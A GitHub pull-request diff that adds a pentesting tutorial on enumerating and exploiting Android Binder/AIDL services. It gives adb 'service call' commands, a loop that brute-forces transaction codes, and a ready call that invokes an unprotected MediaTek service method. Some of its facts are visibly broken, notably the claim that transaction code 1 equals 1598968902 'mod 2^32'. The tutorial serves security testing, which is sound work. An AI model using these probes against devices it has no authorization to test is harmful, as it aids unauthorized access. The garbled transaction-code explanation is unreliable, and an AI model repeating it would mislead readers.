Skip to content

Android Services 101 #1186

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 1 commit into from
Jul 28, 2025
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -395,6 +395,112 @@ if (dpm.isAdminActive(adminComponent)) {
}
```


## Enumerating and Exploiting AIDL / Binder Services

Android *Binder* IPC exposes many **system and vendor-provided services**. Those services become an **attack surface** when they are exported without a proper permission check (the AIDL layer itself performs *no* access-control).

### 1. Discover running services

```bash
# from an adb shell (USB or wireless)
service list # simple one-liner
am list services # identical output, ActivityManager wrapper
```

Output is a numbered list such as:
```
145 mtkconnmetrics: [com.mediatek.net.connectivity.IMtkIpConnectivityMetrics]
146 wifi : [android.net.wifi.IWifiManager]
```
* The **index** (first column) is assigned at runtime – do ***not*** rely on it across reboots.
* The **Binder name** (e.g. `mtkconnmetrics`) is what will be passed to `service call`.
* The value inside the brackets is the fully-qualified **AIDL interface** that the stub was generated from.

### 2. Obtain the interface descriptor (PING)
Every Binder stub automatically implements **transaction code `0x5f4e5446`** (`1598968902` decimal, ASCII "_NTF").

```bash
# "ping" the service
service call mtkconnmetrics 1 # 1 == decimal 1598968902 mod 2^32
```
A valid reply returns the interface name encoded as a UTF-16 string inside a `Parcel`.

### 3. Calling a transaction
Syntax: `service call <name> <code> [type value ...]`

Common argument specifiers:
* `i32 <int>` – signed 32-bit value
* `i64 <long>` – signed 64-bit value
* `s16 <string>` – UTF-16 string (Android 13+ uses `utf16`)

Example – start network monitoring with uid **1** on a MediaTek handset:
```bash
service call mtkconnmetrics 8 i32 1
```

### 4. Brute-forcing unknown methods
When header files are unavailable you can **iterate the code** until the error changes from:
```
Result: Parcel(00000000 00000000) # "Not a data message"
```
to a normal `Parcel` response or `SecurityException`.

```bash
for i in $(seq 1 50); do
printf "[+] %2d -> " $i
service call mtkconnmetrics $i 2>/dev/null | head -1
done
```

If the service was compiled **with proguard** the mapping must be guessed – see next step.

### 5. Mapping codes ↔ methods via onTransact()
Decompile the jar/odex that implements the interface (for AOSP stubs check `/system/framework`; OEMs often use `/system_ext` or `/vendor`).
Search for `Stub.onTransact()` – it contains a giant `switch(transactionCode)`:

```java
case TRANSACTION_updateCtaAppStatus: // 5
data.enforceInterface(DESCRIPTOR);
int appId = data.readInt();
boolean ok = data.readInt() != 0;
updateCtaAppStatus(appId, ok);
reply.writeNoException();
return true;
```

Now the prototype and **parameter types** are crystal clear.

### 6. Spotting missing permission checks
The implementation (often an inner `Impl` class) is responsible for authorisation:

```java
private void updateCtaAppStatus(int uid, boolean status) {
if (!isPermissionAllowed()) {
throw new SecurityException("uid " + uid + " rejected");
}
/* privileged code */
}
```
Absence of such logic or a whitelist of privileged UIDs (e.g. `uid == 1000 /*system*/`) is a **vulnerability indicator**.

Case study – *MediaTek* `startMonitorProcessWithUid()` (transaction **8**) fully executes a Netlink message **without** any permission gate, allowing an unprivileged app to interact with the kernel’s Netfilter module and spam the system log.

### 7. Automating the assessment
Tools / scripts that speed-up Binder reconnaissance:
* [binderfs](https://android.googlesource.com/platform/frameworks/native/+/master/cmds/binderfs/) – exposes `/dev/binderfs` with per-service nodes
* [`binder-scanner.py`](https://github.com/adenflare/binder-scanner) – walks the binder table and prints ACLs
* Frida shortcut: `Java.perform(()=>console.log(android.os.ServiceManager.listServices().toArray()))`

---

## References

- [Android Services 101 – Pentest Partners](https://www.pentestpartners.com/security-blog/android-services-101/)
- [Android Developer Docs – AIDL](https://developer.android.com/guide/components/aidl)
- [Android Developer Docs – IBinder](https://developer.android.com/reference/android/os/IBinder)
- [Understanding Binder, Talk @ Google](https://www.youtube.com/watch?v=O-UHvFjxwZ8)

{{#include ../../banners/hacktricks-training.md}}


Expand Down